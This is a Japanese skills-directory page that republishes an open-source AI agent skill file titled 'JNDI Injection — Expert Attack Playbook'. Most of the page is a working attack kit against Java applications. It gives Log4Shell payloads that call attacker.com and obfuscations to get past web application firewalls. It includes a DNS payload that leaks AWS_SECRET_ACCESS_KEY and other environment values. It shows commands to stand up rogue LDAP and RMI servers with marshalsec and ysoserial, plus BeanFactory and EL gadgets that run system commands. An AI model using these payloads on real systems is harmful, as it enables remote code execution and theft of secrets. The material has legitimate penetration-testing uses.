Agent Skills by ALSEL
Anthropic Claudeその他⭐ リポ 0品質スコア 50/100

jndi-injection

Log4j2やSpringなど、Javaアプリケーションが攻撃者の制御下にある名前でJNDIルックアップを実行する場合に使用するプレイブック。`InitialContext.lookup()`に到達するコードパスを持つあらゆる経路でのJNDIインジェクション攻撃を対象とする。

description の原文を見る

>- JNDI injection playbook. Use when Java applications perform JNDI lookups with attacker-controlled names, especially via Log4j2, Spring, or any code path reaching InitialContext.lookup().

SKILL.md 本文

SKILL: JNDI Injection — Expert Attack Playbook

AI LOAD INSTRUCTION: エキスパート向け JNDI インジェクション技法。ルックアップメカニズム悪用、RMI/LDAP クラスローディング、JDK バージョン制約、Log4Shell (CVE-2021-44228)、marshalsec ツール、および 8u191 以降の逆シリアライゼーションガジェット経由のバイパスをカバーしています。ベースモデルは JNDI インジェクションを一般的なデシリアライゼーションと混同することが多いため、このファイルでは異なる攻撃対象領域を明確にしています。

0. 関連ルーティング

  • deserialization-insecure JNDI がデシリアライゼーションに至る場合(8u191 以降のバイパスパス)
  • expression-language-injection JNDI シンクが SpEL または OGNL 式評価経由でアクセスされる場合

1. コア メカニズム

JNDI(Java Naming and Directory Interface)は、ネーミング/ディレクトリサービス(RMI、LDAP、DNS、CORBA)からオブジェクトをルックアップするための統一 API を提供します。

脆弱性: InitialContext.lookup(USER_INPUT) が攻撃者制御の URL を受け取ると、JVM は攻撃者のサーバーに接続し、任意のコードをロード/実行します。

// 脆弱なコードパターン:
String name = request.getParameter("resource");
Context ctx = new InitialContext();
Object obj = ctx.lookup(name);  // name = "ldap://attacker.com/Exploit"

2. 攻撃ベクトル

RMI(Remote Method Invocation)

rmi://attacker.com:1099/Exploit

攻撃者は、リモートクラスを指す Reference オブジェクトを返す RMI サーバーを実行します:

// 攻撃者の RMI サーバーが返す:
Reference ref = new Reference("Exploit", "Exploit", "http://attacker.com/");
// JVM が http://attacker.com/Exploit.class をダウンロードし、これをインスタンス化

LDAP

ldap://attacker.com:1389/cn=Exploit

攻撃者は、javaCodeBasejavaFactory、またはシリアライズされたオブジェクト属性を持つエントリを返す LDAP サーバーを実行します。

LDAP は RMI より優先されます。LDAP 制限が後になって追加されたためです(RMI の 8u121 vs LDAP の 8u191)。

DNS(検出のみ)

dns://attacker-dns-server/lookup-name

RCE なしで JNDI インジェクションを確認するのに便利です。攻撃者の権限のある NS に対する DNS クエリをトリガーします。


3. JDK バージョン制約およびバイパス

JDK バージョンRMI リモートクラスLDAP リモートクラスバイパス
< 8u121YESYES直接クラスロード
8u121 – 8u190NO (trustURLCodebase=false)YESLDAP ベクトル使用
>= 8u191NONOLDAP 経由シリアライズガジェットを返す
>= 8u191 (代替)NONOBeanFactory + EL インジェクション

8u191 以降のバイパス: LDAP → シリアライズガジェット

攻撃者の LDAP サーバーは、リモートクラス URL を返す代わりに、javaSerializedData 属性内にシリアライズされた Java オブジェクトを返します。JVM がローカルで逆シリアライズします。ガジェットチェーン(例: CommonsCollections)がクラスパス上にあれば、RCE が実現します。

# ysoserial JRMPListener アプローチ:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"
# その後 JNDI ルックアップが指す: rmi://attacker:1099/whatever

8u191 以降のバイパス: BeanFactory + EL

Tomcat の BeanFactory がクラスパス上にある場合、LDAP レスポンスは EL 式を持つファクトリとして参照できます:

javaClassName: javax.el.ELProcessor
javaFactory: org.apache.naming.factory.BeanFactory
forceString: x=eval
x: Runtime.getRuntime().exec("id")

4. ツール

marshalsec — JNDI Reference Server

# リモートクラスを提供する LDAP サーバーを起動:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://attacker.com/#Exploit" 1389

# RMI サーバーを起動:
java -cp marshalsec.jar marshalsec.jndi.RMIRefServer "http://attacker.com/#Exploit" 1099

# #Exploit は http://attacker.com/Exploit.class でホストされている Exploit.class を参照

JNDI-Injection-Exploit(オールインワン)

java -jar JNDI-Injection-Exploit.jar -C "command" -A attacker_ip
# 複数のバイパス戦略を備えた RMI + LDAP サーバーを自動的に起動

Rogue JNDI

java -jar RogueJndi.jar --command "id" --hostname attacker.com
# 自動生成されたペイロードを備えた RMI、LDAP、HTTP サーバーを提供

5. LOG4J2 — CVE-2021-44228(LOG4SHELL)

メカニズム

Log4j2 はルックアップをサポートしています。${...} のような式はログメッセージで評価されます。jndi ルックアップは InitialContext.lookup() をトリガーします:

${jndi:ldap://attacker.com/x}

ログされるあらゆる文字列がこのパターンを含むと脆弱性がトリガーされます。ユーザーエージェント、フォームフィールド、HTTP ヘッダー、URL パス、エラーメッセージ。

検出ペイロード

${jndi:ldap://TOKEN.collab.net/a}
${jndi:dns://TOKEN.collab.net}
${jndi:rmi://TOKEN.collab.net/a}

# DNS 経由で環境情報を流出させる:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.TOKEN.collab.net}
${jndi:ldap://${hostName}.TOKEN.collab.net}

WAF バイパスバリアント

Log4j2 のルックアップパーサーは非常に柔軟です:

${${lower:j}ndi:ldap://attacker.com/x}
${${upper:j}${upper:n}${upper:d}i:ldap://attacker.com/x}
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com/x}
${j${::-n}di:ldap://attacker.com/x}
${jndi:l${lower:D}ap://attacker.com/x}
${${env:NaN:-j}ndi${env:NaN:-:}ldap://attacker.com/x}

Split-Log バイパス(高度)

WAF が単一リクエスト内の対になった ${jndi:...} を検出する場合、2 つのログエントリに分割します:

# リクエスト 1(最初にログ):
X-Custom: ${jndi:ldap://attacker.com/
# リクエスト 2(2 番目にログ):
X-Custom: exploit}

アプリケーションが再処理前にログエントリを連結する場合(例: 集約パイプライン)、連結された ${jndi:ldap://attacker.com/exploit} がトリガーされます。

実例: Solr Log4Shell

# DNSLog 経由で確認 — Solr admin cores API:
GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.TOKEN.dnslog.cn}
# Java バージョンの DNS ヒット = Solr で Log4Shell が確認

テスト対象のインジェクションポイント

User-Agent          X-Forwarded-For       Referer
Accept-Language     X-Api-Version         Authorization
Cookie 値          URL パスセグメント     POST ボディフィールド
検索クエリ          ファイルアップロード名  フォームフィールド名
GraphQL 変数        SOAP/XML 要素          JSON 値

影響を受けるバージョン

  • Log4j2 2.0-beta9 ~ 2.14.1
  • 2.15.0 で修正(部分的)、2.17.0 で完全修正
  • Log4j 1.x は影響を受けません(異なるルックアップメカニズム)

6. その他の JNDI シンク(LOG4J 以外)

製品 / フレームワークシンク
Spring FrameworkJndiTemplate.lookup()
Apache SolrConfig API、VelocityResponseWriter
Apache Druid各種設定エンドポイント
VMware vCenter複数エンドポイント
H2 Database ConsoleJNDI 接続文字列
Fastjson@type + JdbcRowSetImpl.setDataSourceName()

7. テスト方法論

JNDI インジェクション疑い地点?
├── DNS のみプローブを送信: ${jndi:dns://TOKEN.collab.net}
│   └── DNS ヒット? → JNDI 評価確認
│
├── JDK バージョンを特定:
│   └── ${jndi:ldap://${sys:java.version}.TOKEN.collab.net}
│
├── JDK < 8u191?
│   ├── リモートクラスを備えた marshalsec LDAP サーバーを起動
│   └── ${jndi:ldap://attacker:1389/Exploit} → 直接 RCE
│
├── JDK >= 8u191?
│   ├── LDAP → シリアライズガジェット(クラスパス上にガジェットチェーン必要)
│   ├── BeanFactory + EL(クラスパス上に Tomcat 必要)
│   └── ysoserial 経由 JRMPListener
│
└── WAF が ${jndi:...} をブロック?
    └── オブfuscation を試す: ${${lower:j}ndi:...}

8. クイック リファレンス

# 安全な確認(DNS のみ):
${jndi:dns://TOKEN.collab.net}

# LDAP RCE(JDK < 8u191):
${jndi:ldap://ATTACKER:1389/Exploit}

# バージョン流出:
${jndi:ldap://${sys:java.version}.TOKEN.collab.net}

# WAF バイパス付き Log4Shell:
${${lower:j}ndi:${lower:l}dap://ATTACKER/x}

# LDAP reference サーバーを起動:
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer "http://ATTACKER/#Exploit" 1389

# 8u191 以降 — ysoserial JRMP:
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 "id"

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用その他⭐ リポ 1,982

superfluid

Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper

by LeoYeAI
汎用その他⭐ リポ 100

civ-finish-quotes

実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。

by huxiuhan
汎用その他⭐ リポ 1,110

nookplot

Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。

by BankrBot
汎用その他⭐ リポ 59

web3-polymarket

Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。

by elophanto
汎用その他⭐ リポ 52

ethskills

Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。

by jiayaoqijia
汎用その他⭐ リポ 44

xxyy-trade

このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。

by Jimmy-Holiday
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT